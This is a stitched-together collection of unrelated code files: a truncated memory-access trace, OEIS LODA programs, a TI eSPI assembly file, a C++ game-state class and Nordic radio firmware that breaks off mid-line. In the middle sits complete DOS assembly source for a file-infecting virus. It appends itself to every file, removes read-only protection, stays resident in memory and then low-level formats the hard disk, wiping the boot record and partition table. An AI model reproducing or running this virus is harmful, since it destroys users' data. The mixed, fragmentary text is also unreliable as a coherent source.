7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 6}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_UC_ht'}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; A053666: Product of digits of n-th prime. ; Submitted by Jon Maiga ; 2,3,5,7,1,3,7,9,6,18,3,21,4,12,28,15,45,6,42,7,21,63,24,72,63,0,0,0,0,3,14,3,21,27,36,5,35,18,42,21,63,8,9,27,63,81,2,12,28,36,18,54,8,10,70,36,108,14,98,16,48,54,0,3,9,21,9,63,84,108,45,135,126,63,189,72,216,189,0,0,36,8,12,36,108,48,144,140,24,72,168,252,224,36,324,0,0,10,30,20 seq $0,6005 ; The odd prime numbers together with 1. trn $0,2 mul $0,100 add $0,246 mov $3,1 lpb $0 mov $2,$0 div $0,10 mod $2,10 mul $3,$2 lpe mov $0,$3 div $0,24
;This program is a virus that infects all files, not just executables. It gets ;the first five bytes of its host and stores them elsewhere in the program and ;puts a jump to it at the start, along with the letters "GR", which are used to ;by the virus to identify an already infected program. The virus also save ;target file attributes and restores them on exit, so that date & time stamps ;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants. ;when it runs out of philes to infect, it will do a low-level format of the HDD ;starting with the partition table. MAIN SEGMENT BYTE ASSUME CS:MAIN,DS:MAIN,SS:NOTHING ORG 100H ;This is a shell of a program which will release the virus into the system. ;All it does is jump to the virus routine, which does its job and returns to ;it, at which point it terminates to DOS. HOST: jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly db 'GR' mov ah,4CH mov al,0 int 21H ;terminate normally with DOS VIRUS: ;this is a label for the first byte of the virus COMFILE DB '*.*',0 ;search string for any file DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2 FATTR DB 0 FTIME DW 0 FDATE DW 0 VIRUS_START: call GET_START ;get start address - this is a trick to determine the location of the start of this program GET_START: ;put the address of GET_START on the stack with the call, sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS mov dx,OFFSET DTA ;put DTA at the end of the virus for now mov ah,1AH ;set new DTA function int 21H call FIND_FILE ;get a file to attack jnz DESTROY ;returned nz - go to destroy routine call SAV_ATTRIB call INFECT ;have a good file to use - infect it call REST_ATTRIB EXIT_VIRUS: mov dx,80H ;fix the DTA so that the host program doesn't mov ah,1AH ;get confused and write over its data with int 21H ;file i/o or something like that! mov bx,[VIR_START] ;get the start address of the virus mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes mov WORD PTR [HOST],ax ;of the COM file to their mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file mov WORD PTR [HOST+2],ax mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file mov BYTE PTR [HOST+4],al mov [VIR_START],100H ;set up stack to do return to host program ret ;and return to host START_CODE: ;move first 5 bytes from host program to here nop ;nop's for the original assembly code nop ;will work fine nop nop nop ;-------------------------------------------------------------------------- DESTROY: mov AH,05H ;format hard disk starting at sector mov DL,80H ;0 and continuing through sector 16 mov DH,0H ;this should wipe out the master boot mov CX,0000H ;record & partition table mov AL,11H ;low-level format information stored mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4, int 13H ;where 1=track number,2=head number,3=sector number ;and 4=bytes/sector with 2=512 bytes/sector ret ;--------------------------------------------------------------------------- ;--------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;Find a file which passes FILE_OK ; ;This routine does a simple directory search to find a COM file in the ;current directory, to find a file for which FILE_OK returns with C reset. ; FIND_FILE: mov dx,[VIR_START] add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it mov cx,3FH ;search for any file, no matter what the attributes mov ah,4EH ;do DOS search first function int 21H FF_LOOP: or al,al ;is DOS return OK? jnz FF_DONE ;no - quit with Z reset call FILE_OK ;return ok - is this a good file to use? jz FF_DONE ;yes - valid file found - exit with z set mov ah,4FH ;not a valid file, so int 21H ;do find next function jmp FF_LOOP ;and go test next file for validity FF_DONE: ret ;-------------------------------------------------------------------------- ;Function to determine whether the file specified in FNAME is useable. ;if so return z, else return nz. ;What makes a phile useable?: ; a) There must be space for the virus without exceeding the ; 64 KByte file size limit. ; b) Bytes 0, 3 and 4 of the file are not a near jump op code, ; and 'G', 'R', respectively ; FILE_OK: mov ah,43H ;the beginning of this mov al,0 ;routine gets the file's mov dx,OFFSET FNAME ;attribute and changes it int 21H ;to r/w access so that when mov [FATTR],cl ;it comes time to open the mov ah,43H ;file, the virus can easily mov al,1 ;defeat files with a 'read only' mov dx,OFFSET FNAME ;attribute. It leaves the file r/w, mov cl,0 ;because who checks that, anyway? int 21H mov dx,OFFSET FNAME mov al,2 mov ax,3D02H ;r/w access open file, since we'll want to write to it int 21H jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen) mov bx,ax ;put file handle in bx push bx ;and save it on the stack mov cx,5 ;next read 5 bytes at the start of the program mov dx,OFFSET START_IMAGE ;and store them here mov ah,3FH ;DOS read function int 21H pop bx ;restore the file handle mov ah,3EH int 21H ;and close the file mov ax,WORD PTR [FSIZE] ;get the file size of the host add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code? jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4? jnz FOK_ZEND ;no, file can be infected, return with Z set FOK_NZEND: mov al,1 ;we'd better not infect this file or al,al ;so return with z reset ret FOK_ZEND: xor al,al ;ok to infect, return with z set ret ;-------------------------------------------------------------------------- SAV_ATTRIB: mov ah,43H mov al,0 mov dx,OFFSET FNAME int 21H mov [FATTR],cl mov ah,43H mov al,1 mov dx, OFFSET FNAME mov cl,0 int 21H mov dx,OFFSET FNAME mov al,2 mov ah,3DH int 21H mov [HANDLE],ax mov ah,57H xor al,al mov bx,[HANDLE] int 21H mov [FTIME],cx mov [FDATE],dx mov ax,WORD PTR [DTA+28] mov WORD PTR [FSIZE+2],ax mov ax,WORD PTR [DTA+26] mov WORD PTR [FSIZE],ax ret ;------------------------------------------------------------------ REST_ATTRIB: mov dx,[FDATE] mov cx, [FTIME] mov ah,57H mov al,1 mov bx,[HANDLE] int 21H mov ah,3EH mov bx,[HANDLE] int 21H mov cl,[FATTR] xor ch,ch mov ah,43H mov al,1 mov dx,OFFSET FNAME int 21H mov ah,31H ;terminate/stay resident mov al,0 ;and set aside 50 16-byte mov dx,0032H ;pages in memory, just int 21H ;to complicate things for the user ;they might not notice this too quick! ret ;--------------------------------------------------------------------------- ;This routine moves the virus (this program) to the end of the file ;Basically, it just copies everything here to there, and then goes and ;adjusts the 5 bytes at the start of the program and the five bytes stored ;in memory. ; INFECT: xor cx,cx ;prepare to write virus on new file; positon file pointer mov dx,cx ;cx:dx pointer = 0 mov bx,WORD PTR [HANDLE] mov ax,4202H ;locate pointer to end DOS function int 21H mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write mov dx,[VIR_START] ;ds:dx = place in memory to write from mov bx,WORD PTR [HANDLE] ;bx = file handle mov ah,40H ;DOS write function int 21H xor cx,cx ;now we have to go save the 5 bytes which came from the start of the mov dx,WORD PTR [FSIZE] ;so position the file pointer add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus mov bx,WORD PTR [HANDLE] mov ax,4200H ;and use DOS to position the file pointer int 21H mov cx,5 ;now go write START_CODE in the file mov bx,WORD PTR [HANDLE] ;get file handle mov dx,OFFSET START_IMAGE ;during the FILE_OK function above mov ah,40H int 21H xor cx,cx ;now go back to the start of host program mov dx,cx ;so we can put the jump to the virus in mov bx,WORD PTR [HANDLE] mov ax,4200H ;locate file pointer function int 21H mov bx,[VIR_START] ;calculate jump location for start of code mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 mov ax,WORD PTR [FSIZE] ;and then the relative address add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area mov WORD PTR [START_IMAGE+1],ax mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE mov bx,WORD PTR [HANDLE] ;file handle mov ah,40H ;DOS write function int 21H ret ;all done, the virus is transferred FINAL: ;label for last byte of code to be kept in virus when it moves ENDVIRUS EQU $ + 212 ;label for determining space needed by virus ;Note: 212 = FFFF - FF2A - 1 = size of data space ; $ gives approximate size of code required for virus ORG 0FF2AH DTA DB 1AH dup (?) ;this is a work area for the search function FSIZE DW 0,0 ;file size storage area FNAME DB 13 dup (?) ;area for file path HANDLE DW 0 ;file handle START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file VSTACK DW 50H dup (?) ;stack for the virus program VIR_START DW (?) ;start address of VIRUS (overlays the stack) MAIN ENDS END HOST
; ; TEXAS INSTRUMENTS TEXT FILE LICENSE ; ; Copyright (c) 2018 Texas Instruments Incorporated ; ; All rights reserved not granted herein. ; ; Limited License. ; ; Texas Instruments Incorporated grants a world-wide, royalty-free, non-exclusive ; license under copyrights and patents it now or hereafter owns or controls to ; make, have made, use, import, offer to sell and sell ("Utilize") this software ; subject to the terms herein. With respect to the foregoing patent license, ; such license is granted solely to the extent that any such patent is necessary ; to Utilize the software alone. The patent license shall not apply to any ; combinations which include this software, other than combinations with devices ; manufactured by or for TI ("TI Devices"). No hardware patent is licensed hereunder. ; ; Redistributions must preserve existing copyright notices and reproduce this license ; (including the above copyright notice and the disclaimer and (if applicable) source ; code license limitations below) in the documentation and/or other materials provided ; with the distribution. ; ; Redistribution and use in binary form, without modification, are permitted provided ; that the following conditions are met: ; No reverse engineering, decompilation, or disassembly of this software is ; permitted with respect to any software provided in binary form. ; Any redistribution and use are licensed by TI for use only with TI Devices. ; Nothing shall obligate TI to provide you with source code for the software ; licensed and provided to you in object code. ; ; If software source code is provided to you, modification and redistribution of the ; source code are permitted provided that the following conditions are met: ; Any redistribution and use of the source code, including any resulting derivative ; works, are licensed by TI for use only with TI Devices. ; Any redistribution and use of any object code compiled from the source code ; and any resulting derivative works, are licensed by TI for use only with TI Devices. ; ; Neither the name of Texas Instruments Incorporated nor the names of its suppliers ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; DISCLAIMER. ; ; THIS SOFTWARE IS PROVIDED BY TI AND TI'S LICENSORS "AS IS" AND ANY EXPRESS OR IMPLIED ; WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY ; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL TI AND TI'S ; LICENSORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE ; GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; file: eSPI_dual_mode.asm ; ; brief: This files contains the bitbang states for Dual Mode ; ; ; (C) Copyright 2018, Texas Instruments, Inc ; ;;; INCLUDES ;;; .include "icss_defines.h" .include "eSPI_bitbang.h" .include "eSPI_state_table.h" .include "eSPI_pru_x_defines.h" .global READ_STATE_DUAL .global WRITE_STATE_DUAL .global TAR_AND_WAIT_STATE_DUAL .global ERROR_CS_DEASSERT .text .sect ".text:read_state_dual" READ_STATE_DUAL: LDI r_Data, 0x0 ;; Read most significant 2 bits READ_DUAL_BITS3 r_Data ADD r_Count, r_Count, 1 ;; Read next 2 bits READ_DUAL_BITS2 r_Data ;; Read next 2 bits READ_DUAL_BITS1 r_Data ;; Read least significant 2 bits READ_DUAL_BITS0 r_Data ;; Give data to PRU-CC XOUT BANK0, &r_Data, 8 ;; Jump to next state XIN BANK0, &r_NextState, 4 JMP_TO_STATE r_NextState .sect ".text:write_state_dual" WRITE_STATE_DUAL: XIN BANK0, &r_Data, 4 ; if we are in this state, PRU-CC has data ready for us. Get it ADD r_Count, r_Count, 1 ; prep write count ;; Prepare 2 most significant bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask3 ;; Tell PRU-CC to continue processing XOUT BANK0, &r_Data, 8 ;; Write 2 most significant bits WAIT_SCL_LOW_DUAL SHIFT_DUAL_WRITE_3 r_Temp0, r_Temp0, g_DualWriteShiftAmt3 OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare next 2 bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask2 SHIFT_DUAL_WRITE_2 r_Temp0, r_Temp0, g_DualWriteShiftAmt2 ;; Write next 2 bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare next 2 bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask1 SHIFT_DUAL_WRITE_1 r_Temp0, r_Temp0, g_DualWriteShiftAmt1 ;; Write next 2 bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare 2 least significant bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask0 SHIFT_DUAL_WRITE_0 r_Temp0, r_Temp0, g_DualWriteShiftAmt0 ;; Write 2 least significant bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Jump to next state XIN BANK0, &r_NextState, 4 JMP_TO_STATE r_NextState ;------------------------------------------------------------------- ; Subroutine: TAR_AND_WAIT_STATE_DUAL ; Description: Hold for 2 clock cycles, then immeiately respond with WAIT_STATE ;------------------------------------------------------------------- .sect ".text:tar_state_dual" TAR_AND_WAIT_STATE_DUAL: ;; Second CC WAIT_SCL_HIGH_DUAL CHECK_CS_ERROR ;; Assert EN to enable writes CLR R30, R30, g_EnPin ;; Write WAIT_STATE LDI r_Data, g_WaitStateResponseCode ;; Prepare 2 most significant bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask3 SHIFT_DUAL_WRITE_3 r_Temp0, r_Temp0, g_DualWriteShiftAmt3 ;; Write 2 most significant bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare next 2 bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask2 SHIFT_DUAL_WRITE_2 r_Temp0, r_Temp0, g_DualWriteShiftAmt2 ;; Write next 2 bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare next 2 bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask1 SHIFT_DUAL_WRITE_1 r_Temp0, r_Temp0, g_DualWriteShiftAmt1 ;; Write next 2 bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Prepare 2 least significant bits AND r_Temp1, R30, r_DualClearMask AND r_Temp0, r_Data, g_DualWriteMask0 SHIFT_DUAL_WRITE_0 r_Temp0, r_Temp0, g_DualWriteShiftAmt0 ;; Write 2 least significant bits WAIT_SCL_LOW_DUAL OR R30, r_Temp1, r_Temp0 CHECK_CS_ERROR WAIT_SCL_HIGH_DUAL ;; Jump to next state XIN BANK0, &r_NextState, 4 JMP_TO_STATE r_NextState
#include "gamepch.h" #include "GameState.h" #include "Star.h" #include "Debug.h" #include "Camera.h" #include "Constellation.h" void GameState::changeToLocalView(Star* star) { if (m_state == GameState::State::LOCAL_VIEW) return; m_camera.setPos(star->getLocalViewCenter()); m_camera.setAbsoluteZoom(10.0f); star->m_localViewActive = true; m_localViewStar = star; m_localViewStarID = star->getID(); m_state = GameState::State::LOCAL_VIEW; callOnChangeStateCallbacks(); } void GameState::changeToWorldView() { if (m_state == GameState::State::WORLD_VIEW) return; if (m_localViewStar == nullptr) { m_state = GameState::State::WORLD_VIEW; return; } m_camera.setPos(m_localViewStar->getCenter()); m_camera.resetZoom(); m_localViewStar->m_localViewActive = false; m_localViewStar->clearAnimations(); m_localViewStar = nullptr; m_localViewStarID = 0; m_state = GameState::State::WORLD_VIEW; callOnChangeStateCallbacks(); } void GameState::onEvent(sf::Event ev) { if (ev.type == sf::Event::KeyPressed && ev.key.code == sf::Keyboard::Tab && m_state == GameState::State::LOCAL_VIEW) { changeToWorldView(); } } GameState::GameState(Camera camera) { m_camera = camera; } void GameState::exitGame() { if (m_state == State::MAIN_MENU) { // Do not save if on main menu m_metaState = MetaState::EXITING; } else { m_metaState = MetaState::EXIT_AND_SAVE; } } void GameState::callOnChangeStateCallbacks() { for (auto& func : m_changeStateCallbacks) { func(); } } void GameState::reinitAfterLoad(Constellation& constellation) { if (m_localViewStarID == 0) { m_localViewStar = nullptr; } else { m_localViewStar = constellation.getStarByID(m_localViewStarID); } }
; A088556: Numbers of the form (4^n + 4^(n-1) + ... + 1) + (n mod 2). ; 6,21,86,341,1366,5461,21846,87381,349526,1398101,5592406,22369621,89478486,357913941,1431655766,5726623061,22906492246,91625968981,366503875926,1466015503701,5864062014806,23456248059221,93824992236886,375299968947541,1501199875790166,6004799503160661,24019198012642646,96076792050570581,384307168202282326,1537228672809129301,6148914691236517206,24595658764946068821,98382635059784275286,393530540239137101141,1574122160956548404566,6296488643826193618261,25185954575304774473046 mov $1,4 pow $1,$0 mul $1,32 div $1,30 mul $1,5 add $1,1 mov $0,$1
/* Copyright (c) 2014 Nordic Semiconductor. All Rights Reserved. * * The information contained herein is property of Nordic Semiconductor ASA. * Terms and conditions of usage are described in detail in NORDIC * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * * Licensees are granted free, non-transferable use of the information. NO * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * the file. * */ #include <stdbool.h> #include <stdint.h> #include <string.h> #include "sdk_common.h" #include "nrf.h" #include "nrf_esb.h" #include "nrf_error.h" #include "nrf_esb_error_codes.h" #include "nrf_drv_timer.h" //#include "nrf_delay.h" //#include "nrf_gpio.h" //#include "boards.h" //#include "nrf_delay.h" #include "app_util.h" #define NRF_LOG_MODULE_NAME "APP" //#include "nrf_log.h" //#include "nrf_log_ctrl.h" #include "idelay.h" #include "istddef.h" #include "blueio_board.h" #include "coredev/uart.h" #include "custom_board.h" #include "coredev/iopincfg.h" nrf_drv_timer_t g_TimerPulse = { NRF_TIMER0, 0, 1 }; // {.pipe = _pipe, .length = NUM_VA_ARGS(__VA_ARGS__), .data = {__VA_ARGS__}}; // STATIC_ASSERT(NUM_VA_ARGS(__VA_ARGS__) > 0 && NUM_VA_ARGS(__VA_ARGS__) <= 63) static nrf_esb_payload_t tx_payload = { //NRF_ESB_CREATE_PAYLOAD(0, 0x01, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00); 4, 0, 0 }; static nrf_esb_payload_t rx_payload; /*lint -save -esym(40, BUTTON_1) -esym(40, BUTTON_2) -esym(40, BUTTON_3) -esym(40, BUTTON_4) -esym(40, LED_1) -esym(40, LED_2) -esym(40, LED_3) -esym(40, LED_4) */ int nRFUartEvthandler(UARTDEV *pDev, UART_EVT EvtId, uint8_t *pBuffer, int BufferLen); // UART configuration data static const IOPINCFG s_UartPins[] = { {BLUEIO_UART_RX_PORT, BLUEIO_UART_RX_PIN, BLUEIO_UART_RX_PINOP, IOPINDIR_INPUT, IOPINRES_NONE, IOPINTYPE_NORMAL}, // RX {BLUEIO_UART_TX_PORT, BLUEIO_UART_TX_PIN, BLUEIO_UART_TX_PINOP, IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL}, // TX {BLUEIO_UART_CTS_PORT, BLUEIO_UART_CTS_PIN, BLUEIO_UART_CTS_PINOP, IOPINDIR_INPUT, IOPINRES_NONE, IOPINTYPE_NORMAL}, // CTS {BLUEIO_UART_RTS_PORT, BLUEIO_UART_RTS_PIN, BLUEIO_UART_RTS_PINOP, IOPINDIR_OUTPUT, IOPINRES_NONE, IOPINTYPE_NORMAL},// RTS }; const UARTCFG g_UartCfg = { 0, s_UartPins, sizeof(s_UartPins) / sizeof(IOPINCFG), 1000000, 8, UART_PARITY_NONE, 1, // Stop bit UART_FLWCTRL_NONE, true, 7, nRFUartEvthandler, false, }; // UART object instance UART g_Uart; static const IOPINCFG s_ButPin[] = { {BLUEIO_BUT1_PORT, BLUEIO_BUT1_PIN, BLUEIO_BUT1_PINOP, IOPINDIR_INPUT, IOPINRES_PULLUP, IOPINTYPE_NORMAL}, // BUT1 {BLUEIO_BUT2_PORT, BLUEIO_BUT2_PIN, BLUEIO_BUT2_PINOP, IOPINDIR_INPUT, IOPINRES_PULLUP, IOPINTYPE_NORMAL}, // BUT2 }; int g_DelayCnt = 0; volatile bool g_Flag = false; uint32_t g_Count = 0; int32_t ESBWritePayload() { tx_payload.noack = true; if (nrf_esb_write_payload(&tx_payload) == NRF_SUCCESS) { // Toggle one of the LEDs. //nrf_gpio_pin_write(LED_1, !(tx_payload.data[1]%8>0 && tx_payload.data[1]%8<=4)); //nrf_gpio_pin_write(LED_2, !(tx_payload.data[1]%8>1 && tx_payload.data[1]%8<=5)); //nrf_gpio_pin_write(LED_3, !(tx_payload.data[1]%8>2 && tx_payload.data[1]%8<=6)); //nrf_gpio_pin_write(LED_4, !(tx_payload.data[1]%8>3)); } else { printf("Sending packet failed\r\n"); } } int nRFUartEvthandler(UARTDEV *pDev, UART_EVT EvtId, uint8_t *pBuffer, int BufferLen) { int cnt = 0; uint8_t buff[20]; switch (EvtId) { case UART_EVT_RXTIMEOUT: case UART_EVT_RXDATA: // ESBWritePayload(); //app_sched_event_put(NULL, 0, UartRxChedHandler); break; case UART_EVT_TXREADY: break; case UART_EVT_LINESTATE: break; } return cnt; } /** * @brief Handler for timer events. */ void timer_led_event_handler(nrf_timer_event_t event_type, void* p_context) { //static uint32_t i; //uint32_t led_to_invert = ((i++) % LEDS_NUMBER); switch (event_type) { case NRF_TIMER_EVENT_COMPARE0: // bsp_board_led_invert(led_to_invert); tx_payload.noack = false; tx_payload.data[0] = g_Count & 0xFF; tx_payload.data[1] = (g_Count >> 8L) & 0xFF; tx_payload.data[2] = (g_Count >> 16L) & 0xFF; tx_payload.data[3] = (g_Count >> 24L) & 0xFF; if (nrf_esb_write_payload(&tx_payload) == NRF_SUCCESS) { // Toggle one of the LEDs. //nrf_gpio_pin_write(LED_1, !(tx_payload.data[1]%8>0 && tx_payload.data[1]%8<=4)); //nrf_gpio_pin_write(LED_2, !(tx_payload.data[1]%8>1 && tx_payload.data[1]%8<=5)); //nrf_gpio_pin_write(LED_3, !(tx_payload.data[1]%8>2 && tx_payload.data[1]%8<=6)); //nrf_gpio_pin_write(LED_4, !(tx_payload.data[1]%8>3)); g_Count++; // tx_payload.data[1]++; } else { printf("Sending packet failed\r\n"); } g_Flag = true; break; default: //Do nothing. break; } } void ButInterHandler(int IntNo) { // ESBWritePayload(); tx_payload.noack = true; if (nrf_esb_write_payload(&tx_payload) == NRF_SUCCESS) { // Toggle one of the LEDs. //nrf_gpio_pin_write(LED_1, !(tx_payload.data[1]%8>0 && tx_payload.data[1]%8<=4)); //nrf_gpio_pin_write(LED_2, !(tx_payload.data[1]%8>1 && tx_payload.data[1]%8<=5)); //nrf_gpio_pin_write(LED_3, !(tx_payload.data[1]%8>2 && tx_payload.data[1]%8<=6)); //nrf_gpio_pin_write(LED_4, !(tx_payload.data[1]%8>3)); tx_payload.data[1]++; } else { printf("Sending 